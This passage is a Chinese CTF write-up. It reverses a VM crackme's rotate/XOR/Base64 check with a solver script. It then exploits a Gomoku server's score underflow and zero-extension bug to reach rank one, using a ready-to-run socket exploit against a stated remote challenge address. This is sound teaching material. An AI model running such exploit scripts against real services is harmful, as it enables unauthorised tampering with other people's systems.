push32 0x102b   ; dst
push32 0x2a     ; len = 42
call   0x004f

进入函数后,会把参数保存到内存变量:

  • 0x1127 = src
  • 0x112b = dst
  • 0x112f = len
  • 0x1133 = i
  • 0x1137 = len / 3
  • 0x1147 = 状态机变量

2. 核心逻辑

这段代码的循环体在 0x01b3 ~ 0x035c,整理后其实很规整:

for (i = 0; i < len / 3; i++) {
    src_idx = src + i * 3;
    dst_idx = dst + i * 4;

    v = (mem[src_idx] << 16)
      | (mem[src_idx + 1] << 8)
      |  mem[src_idx + 2];

    v = rol24(v, 5)  ^ 0x55757d;
    v = rol24(v, 11) ^ 0x55757d;
    v = rol24(v, 20) ^ 0x55757d;

    dst[0] = table[(v >> 18) & 0x3f];
    dst[1] = table[(v >> 12) & 0x3f];
    dst[2] = table[(v >> 6)  & 0x3f];
    dst[3] = table[v & 0x3f];
}

这里的 table 位于 0x10e3:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

也就是说:

这其实就是一个“先做 24 位混淆,再做 Base64 映射”的编码过程。

3. 本段结论

输入长度是 0x2a = 42,刚好是 14 * 3。

所以第一段函数输出长度就是:

42 / 3 * 4 = 56

对应调用时传入的第二段长度 0x38 = 56,完全吻合。

0x06 第二段函数 sub_0368:逐字节异或

第二个函数入口在 0x0368,整体逻辑很简单,就是遍历 56 字节做单字节异或。

核心循环整理后如下:

for (i = 0; i < len; i++) {
    dst[i] = src[i] ^ 0x63;
}

也就是:

  • 输入:0x102b
  • 输出:0x1064
  • 长度:0x38
  • 变换:^ 0x63

这一层几乎没有额外难度,主要就是把第一层得到的 56 字节再异或一次。

0x07 第三段函数 sub_0471:比较函数

第三个函数的作用是把第二段的结果和目标数据比较。

调用方式:

push32 0x1064   ; 用户输入经过两轮编码后的结果
push32 0x109d   ; 题目内置目标值
push32 0x0038   ; len = 56
call   0x0471

函数内循环逻辑:

for (i = 0; i < len; i++) {
    if (buf1[i] != buf2[i]) {
        return 0;
    }
}
return 1;

所以解题的关键,就变成了:

把 0x109d 的目标数据逆回原始输入。

0x08 提取目标数据

从 code.bin 中取出 0x109d 开始的 56 字节:

target = code[0x109d:0x109d+56]

先逆第二层,因为第二层只是异或:

target2 = bytes([b ^ 0x63 for b in target])

得到:

D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D

这已经明显是“经过自定义 Base64 表编码后的 56 字节串”。

0x09 逆第一层变换

第一层流程是:

原始 3 字节
-> 组合成 24 位整数
-> rol24(5) ^ 0x55757d
-> rol24(11) ^ 0x55757d
-> rol24(20) ^ 0x55757d
-> 映射成 4 个 Base64 字符

因此逆过程就是:

  1. 先把 4 个字符还原成 24 位整数;
  2. 逆第三轮:^ 0x55757d 再 ror24(20);
  3. 逆第二轮:^ 0x55757d 再 ror24(11);
  4. 逆第一轮:^ 0x55757d 再 ror24(5);
  5. 拆回 3 个字节。

整理后的逆过程:

x = decode_4chars_to_24bit(...);

x ^= 0x55757d;
x = ror24(x, 20);

x ^= 0x55757d;
x = ror24(x, 11);

x ^= 0x55757d;
x = ror24(x, 5);

b0 = (x >> 16) & 0xff;
b1 = (x >> 8) & 0xff;
b2 = x & 0xff;

0x10 最终还原脚本

下面给出完整可复现的求解脚本:

from pathlib import Path

code = Path("code.bin").read_bytes()

alphabet = code[0x10E3:0x10E3 + 64]
target = code[0x109D:0x109D + 56]
inv = {c: i for i, c in enumerate(alphabet)}

MASK = (1 << 24) - 1


def ror24(x, n):
    return ((x >> n) | (x << (24 - n))) & MASK


# 先逆第二层 xor 0x63
enc = bytes([b ^ 0x63 for b in target])

flag = bytearray()
for i in range(0, len(enc), 4):
    c0, c1, c2, c3 = enc[i:i+4]

    # 4 字符 -> 24 bit
    x = (inv[c0] << 18) | (inv[c1] << 12) | (inv[c2] << 6) | inv[c3]

    # 逆第三轮
    x ^= 0x55757d
    x = ror24(x, 20)

    # 逆第二轮
    x ^= 0x55757d
    x = ror24(x, 11)

    # 逆第一轮
    x ^= 0x55757d
    x = ror24(x, 5)

    flag.extend([(x >> 16) & 0xFF, (x >> 8) & 0xFF, x & 0xFF])

print(flag.decode())

运行结果:

NCTF{1578be15-ad09-4859-9193-5d52585eb485}

​

鸡爪流高手

题目名:鸡爪流高手

给的只有一个 ELF:server

程序是 64 位 Linux PIE,未 strip,符号信息保留得很完整。题目不是传统内存破坏型 pwn,而是一个自定义二进制协议 + 五子棋对战 + SQLite 积分系统的业务逻辑题。真正的利用点不在栈/堆,而在积分结算和入库时的整数处理错误。

这题的 Flag 获取条件非常直白:

  • 只要当前 player 排名第一,执行取 flag 的命令就会返回环境变量 GZCTF_FLAG。

所以题目的本质就是:把自己的分数做成全服第一。

0x01 程序入口与整体逻辑

main 的逻辑并不复杂:

  1. 打开 game.db
  2. 初始化数据库表
  3. 确保存在用户 player
  4. 循环从标准输入读取自定义协议包
  5. 调用 handler_handle_packet() 处理命令
  6. 把响应按同样协议写回标准输出

关键点有两个:

  • 玩家名字是写死的 player,不是用户自己输入的。
  • 服务是个包协议,不是菜单题。

主逻辑可以还原成这样:

int main() {
    ctx.name = "player";
    game_reset(&ctx.game);

    db_open(&ctx.db, "game.db");
    db_ensure_schema(ctx.db);
    db_ensure_player(ctx.db, "player", 50);

    while (protocol_read_packet(stdin, &pkt)) {
        handler_handle_packet(&ctx, &pkt, outbuf, 0x1000);
        protocol_write_response(stdout, pkt.cmd, outbuf);
    }
}

也就是说,题目里所有“交互”都要通过协议发包完成。

0x02 协议逆向

1. 读包函数 protocol_read_packet

协议头固定为:

"GAME" + be32(total_len) + u8(cmd) + payload

其中:

  • magic:4 字节,固定为 GAME
  • total_len:大端 4 字节,总长度,包含整个 9 字节头
  • cmd:1 字节命令号
  • payload:后续数据

长度检查逻辑:

payload_len = bswap32(len) - 9;
if (payload_len > 0x400) return -1;

所以每个包最大负载是 0x400。

2. 写包函数 protocol_write_response

返回包同样格式:

"GAME" + be32(9 + strlen(resp)) + u8(cmd) + resp_string

注意这里返回时的 cmd 直接沿用了请求包里的命令号,并不是状态码。

0x03 命令分发表

handler_handle_packet() 用 jump table 分发命令,合法命令号是 1~8,0 和 >8 都会进 Unknown command。

结合各分支逻辑,可以整理出命令表:

cmd

功能

1

取 Flag

2

查看自己当前分数 / 排名

3

查看排行榜概览

4

重置挑战环境

5

开始匹配一局

6

查看棋盘

7

落子

8

认输 / 空棋盘取消匹配

1. cmd=1:取 flag

对应分支会:

  1. 查当前排行榜第一名
  2. 比较第一名名字是否等于当前玩家 player
  3. 若相等则返回 GZCTF_FLAG
  4. 否则返回 Permission denied

核心逻辑:

if (db_get_top_player(db, &top) && strcmp(top.name, "player") == 0) {
    char *flag = getenv("GZCTF_FLAG");
    return flag ? flag : "Fail to get flag from environment variable";
}
return "Permission denied";

这一步已经把题目目标说透了:

只要把 player 做成第一名,就能直接拿 flag。

2. cmd=2:查看自己信息

返回格式:

OK Score=%u Rank=%d

3. cmd=3:排行榜概览

返回格式:

Score=%u Rank=%d Total=%d Top=%u Nearby: ...

4. cmd=4:重置挑战环境

这个命令非常关键,它会把其他若干对手的分数重置成固定值,后面利用会用到。

5. cmd=5:开始匹配

匹配到一个 AI 对手,返回:

Matched %s Score=%u You=Black

说明我们永远执黑先手。

6. cmd=6:查看棋盘

返回:

Board=000.../000.../...

棋盘按 / 分割 15 行,每格用数字表示:

  • 0:空
  • 1:玩家黑子
  • 2:AI 白子

7. cmd=7:落子

payload 是字符串:

x,y

解析格式就是:

sscanf(buf, "%d,%d", &x, &y)

坐标支持两种写法:

  • 0~14
  • 1~15(内部会减一)

返回可能是:

  • Continue AI=x,y Board=...
  • Win Delta=...
  • Lose Delta=...
  • Draw Delta=...
  • Invalid Move

8. cmd=8:认输 / 取消当前对局

如果棋盘还是空的,则按和棋取消:

Draw Delta=0 Score=... Rank=... OppDelta=0 OppScore=...

如果棋盘非空,则按认输处理:

Resign Delta=... Score=... Rank=... OppDelta=... OppScore=...

这条命令在利用里也非常关键:

  • 匹配到不想打的对手,可以空棋盘直接取消,完全不掉分。
  • 匹配到想要的对手后,只需下 1 手再 cmd=8,就能稳定判负。

0x04 数据库逻辑

题目里把 SQLite 直接静态编进二进制了,相关 SQL 字符串都能直接从 .rodata 里抠出来。

1. 建表语句

CREATE TABLE IF NOT EXISTS players (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL UNIQUE,
    score INTEGER NOT NULL
);

2. 确保玩家存在

INSERT OR IGNORE INTO players (name, score) VALUES (?, ?);

main 里固定插入:

name = "player"
score = 50

所以我们开局就是 50 分。

3. 获取排行榜第一

SELECT id, name, score
FROM players
ORDER BY score DESC, id ASC
LIMIT 1;

说明排名主要按 score 降序。

4. 获取自己排名

SELECT id, name, score,
       (SELECT COUNT(*) FROM players p2 WHERE p2.score > p1.score) + 1
FROM players p1
WHERE name = ?;

这里排名按“严格大于我的人数 + 1”计算。

0x05 重置命令的作用

cmd=4 对应 db_reset_challenge_state()。

它会把其他玩家里按 id ASC 排前 7 的记录,分数改成固定值。

SQL 如下:

SELECT id FROM players WHERE name != ? ORDER BY id ASC LIMIT 7;
UPDATE players SET score = ? WHERE id = ?;

固定分数数组在 .rodata 里直接能看到:

fixed_scores = [50, 40, 30, 20, 20, 10, 2000000]

所以 reset 完后,对手池会被洗成:

50, 40, 30, 20, 20, 10, 2000000

这也是后面利用时所有分数计算的出发点。

0x06 五子棋逻辑和 AI

1. 棋盘大小

从 game_apply_player_move() / game_apply_ai_move() 可知:

  • 棋盘是 15 x 15
  • 下标范围 0~14

2. 胜负判断

game_has_winner() 检查横、竖、正斜、反斜四个方向,连续 5 个相同棋子即胜。

3. AI 逻辑

AI 在 ai_choose_move() 里,大致逻辑是:

  1. 先找自己一步能赢的位置
  2. 再找玩家一步能赢的位置并阻挡
  3. 再做一些简单模式扫描
  4. 再不行就走很机械的 fallback

这个 AI 实际并不强,尤其在“非立即杀”的处理中很弱。

4. 一套稳定必赢的开局

本地复现发现,用下面这组坐标可以稳定赢下 10 分 bot:

5,3
5,4
5,5
5,6
5,7

思路很简单:

  • 我们在 x=5 这一列连续摆子
  • 第 4 手后会形成一个两头都能冲五的 open four
  • AI 只能补住其中一头
  • 第 5 手补另一头直接获胜

本地实际交互如下:

5,3 -> Continue AI=7,7 ...
5,4 -> Continue AI=4,2 ...
5,5 -> Continue AI=3,1 ...
5,6 -> Continue AI=5,2 ...
5,7 -> Win Delta=3 Score=53 Rank=2 OppDelta=-3 OppScore=7

也就是说:

  • 打赢 10 分 bot 后
  • 我们从 50 -> 53
  • 对手从 10 -> 7

这一步非常关键,因为后面需要一个7 分 bot来完成最后的下溢。

0x07 积分公式

题目不是随便加减分,而是一个 ELO 风格公式。

核心函数是:

int score_calculate_delta(int self, int opp, double actual) {
    double expected = 1.0 / (1.0 + pow(10.0, (opp - self) / 50.0));
    return lround(20.0 * (actual - expected));
}

其中:

  • actual = 1.0 表示赢
  • actual = 0.5 表示平
  • actual = 0.0 表示输

参数:

  • K 值是 20
  • 分差缩放是 50

正常情况下分数更新函数是:

new_score = max(old_score + delta, 0)

但玩家自己用的不是这个版本,而是一个buggy 版本。

0x08 真正的漏洞:负分 + 32 位零扩展

1. 玩家结算走的是 score_apply_buggy_update

settle_game() 里:

  • 玩家分数更新调用 score_apply_buggy_update
  • 对手分数更新调用 score_apply_update

差异点就在这里。

2. buggy 版本的伪代码

把 score_apply_buggy_update() 还原后,大概是:

int score_apply_buggy_update(int old_score, int opp_score, double actual, int *delta_out) {
    int delta = score_calculate_delta(old_score, opp_score, actual);
    if (delta_out) *delta_out = delta;

    // 特判:如果老分 <= 9 且 delta < 0,就不扣分
    if (old_score <= 9 && delta < 0) {
        return old_score;
    }

    // !!! 没有做 >= 0 的截断
    return old_score + delta;
}

正常版本会 max(new_score, 0),而这个版本没有。

所以只要满足:

  • old_score > 9
  • delta < 0
  • old_score + delta < 0

就会返回一个负数分数。

3. 入库时又踩了第二个坑

db_update_player_score() 里调用的是:

sqlite3_bind_int64(stmt, 1, score);

但是调用前参数是通过 edx 传进去的,也就是 32 位寄存器赋值:

mov edx, eax
call sqlite3_bind_int64

在 x86-64 SysV 下:

  • 给 edx 赋值会把 rdx 的高 32 位清零
  • 如果 eax 里是负数,比如 -1 = 0xffffffff
  • 那么传进 sqlite3_bind_int64() 的其实是:

0x00000000ffffffff = 4294967295

也就是:

负数没有按有符号扩展成 int64,而是被零扩展成了一个超大的正数。

这就是整题的核心漏洞。

0x09 如何把分数做成负数

1. reset 后的初始状态

重置后对手分数池:

50, 40, 30, 20, 20, 10, 2000000

我们自己:

player = 50

2. 先赢一次 10 分 bot

利用上面的稳赢开局:

5,3 5,4 5,5 5,6 5,7

结果:

player: 50 -> 53
bot10: 10 -> 7

此时对手池里就出现了一个 7 分 bot。

3. 然后按指定分数连续输

这里的输法非常简单:

  • 匹配到目标分数的 bot
  • 随便下一手,例如 0,0
  • 然后发 cmd=8
  • 因为棋盘非空,会按认输处理

结合实际积分公式,可以构造出下面这条路径:

步骤

对手分数

结果

我方分数变化

1

10

赢

50 -> 53

2

20

输

53 -> 37

3

20

输

37 -> 23

4

30

输

23 -> 15

5

38

输

15 -> 10

6

7

输

10 -> -1

最后一步最关键:

10 分输给 7 分 bot,delta = -11
10 + (-11) = -1

因为 old_score = 10 > 9,不会走“<=9 不扣分”的保护逻辑,所以真的返回 -1。

而 -1 入库时被零扩展,最终数据库里存进去的是:

4294967295

这时我们就直接成排行榜第一了。

0x10 为什么一定要先做出 7 分 bot

如果只靠 reset 后的最低分 10 分 bot,最后一步其实不够下溢。

因为题目 K 值是 20,不是 32,输给 10 分 bot 时扣分没有那么夸张。

真正能稳定把 10 打成负数的是输给一个更低分的 bot,比如 7 分。

而这个 7 正好可以通过第一步打赢 10 分 bot 得到:

10 -> 7

所以整条利用链是闭环的:

  1. reset 固定对手分数
  2. 利用 AI 弱点先把 10 打成 7
  3. 再按分数路径把自己降到 10
  4. 最后一把输给 7,下溢成 -1
  5. 入库时变成 4294967295
  6. cmd=1 直接取 flag

0x11 利用时如何“挑对手”

cmd=5 不是指定匹配,而是:

SELECT id, name, score
FROM players
WHERE name != ? AND score <= 50
ORDER BY RANDOM()
LIMIT 1;

也就是说,只会随机匹配 score <= 50 的 bot。

所以 exp 的做法是:

  1. cmd=5 开始匹配
  2. 如果返回的不是目标分数
  3. 立即 cmd=8
  4. 因为空棋盘,会按和棋取消,不掉分
  5. 继续 cmd=5 直到刷到目标分数

这样就可以把整条路径稳定跑出来。

0x12 完整利用流程

完整流程如下:

Step 1. 重置环境

发 cmd=4

得到固定对手分数:

50, 40, 30, 20, 20, 10, 2000000

Step 2. 匹配到 10 分 bot 并赢一局

若匹配错,就空棋盘 cmd=8 取消。

匹配到 10 分后,下:

5,3
5,4
5,5
5,6
5,7

打完后:

player = 53
bot = 7

Step 3. 连续输给目标分数 bot

依次刷对手并执行:

  • 输给 20
  • 再输给 20
  • 输给 30
  • 输给 38
  • 最后输给 7

每次输法都一样:

cmd=7 payload="0,0"
cmd=8 认输

Step 4. 分数下溢后查询 flag

此时:

player = 4294967295
rank = 1

发送:

cmd=1

即可拿到 flag。

0x13 本地复现结果

我本地构造同样的 game.db 后,完整跑通结果如下:

[*] reset Reset Score=50 Rank=2
[*] me OK Score=50 Rank=2
[+] matched target score 10
...
move 5,7 -> Win Delta=3 Score=53 Rank=2 OppDelta=-3 OppScore=7
...
resign -> Resign Delta=-11 Score=4294967295 Rank=1 OppDelta=11 OppScore=18
[*] me OK Score=4294967295 Rank=1
[*] flag flag{test_flag}

说明利用链完全闭合,逻辑正确。

0x14 EXP

下面给出可以直接打远程的脚本。

我本地按附件完整复现通过;你给的远程地址我测试时一度是 Connection refused,所以脚本逻辑已经验证,但最终线上 flag 需要服务在线时运行。

import re
import socket
import struct

HOST = "114.66.24.221"
PORT = 48499


def recv_exact(sock, n):
    data = b""
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("socket closed")
        data += chunk
    return data


def send_pkt(sock, cmd, payload=b""):
    pkt = b"GAME" + struct.pack(">I", 9 + len(payload)) + bytes([cmd]) + payload
    sock.sendall(pkt)

    hdr = recv_exact(sock, 9)
    if hdr[:4] != b"GAME":
        raise ValueError(f"bad magic: {hdr!r}")

    total_len = struct.unpack(">I", hdr[4:8])[0]
    rcmd = hdr[8]
    body = recv_exact(sock, total_len - 9).decode()
    return rcmd, body


def cmd(sock, c, payload=b""):
    _, body = send_pkt(sock, c, payload)
    return body


def start_until_score(sock, target_score):
    while True:
        body = cmd(sock, 5)
        m = re.search(r"Matched\s+(.+)\s+Score=(\d+)\s+You=Black", body)
        if not m:
            raise RuntimeError(f"unexpected match response: {body}")

        opp_name = m.group(1)
        opp_score = int(m.group(2))
        print(f"[match] {opp_name} score={opp_score}")

        if opp_score == target_score:
            return opp_name

        # 空棋盘取消,不掉分
        print("[skip] cancel current empty game")
        print(cmd(sock, 8))


def win_vs_10(sock):
    start_until_score(sock, 10)
    for mv in [b"5,3", b"5,4", b"5,5", b"5,6", b"5,7"]:
        body = cmd(sock, 7, mv)
        print(f"[move] {mv.decode()} -> {body}")
        if not body.startswith("Continue"):
            break


def lose_once(sock, target_score):
    start_until_score(sock, target_score)
    print(cmd(sock, 7, b"0,0"))
    print(cmd(sock, 8))


def main():
    with socket.create_connection((HOST, PORT)) as sock:
        print(cmd(sock, 4))   # reset
        print(cmd(sock, 2))   # my score/rank

        # Step 1: 打赢 10 分 bot,做出 7 分 bot
        win_vs_10(sock)
        print(cmd(sock, 2))

        # Step 2: 按指定路径掉分,最后制造下溢
        lose_once(sock, 20)
        print(cmd(sock, 2))

        lose_once(sock, 20)
        print(cmd(sock, 2))

        lose_once(sock, 30)
        print(cmd(sock, 2))

        lose_once(sock, 38)
        print(cmd(sock, 2))

        lose_once(sock, 7)
        print(cmd(sock, 2))

        # Step 3: 现在已经 rank 1,直接取 flag
        print(cmd(sock, 3))
        print(cmd(sock, 1))


if __name__ == "__main__":
    main()

结语


末尾有附件 需要的师傅自取



​

​

​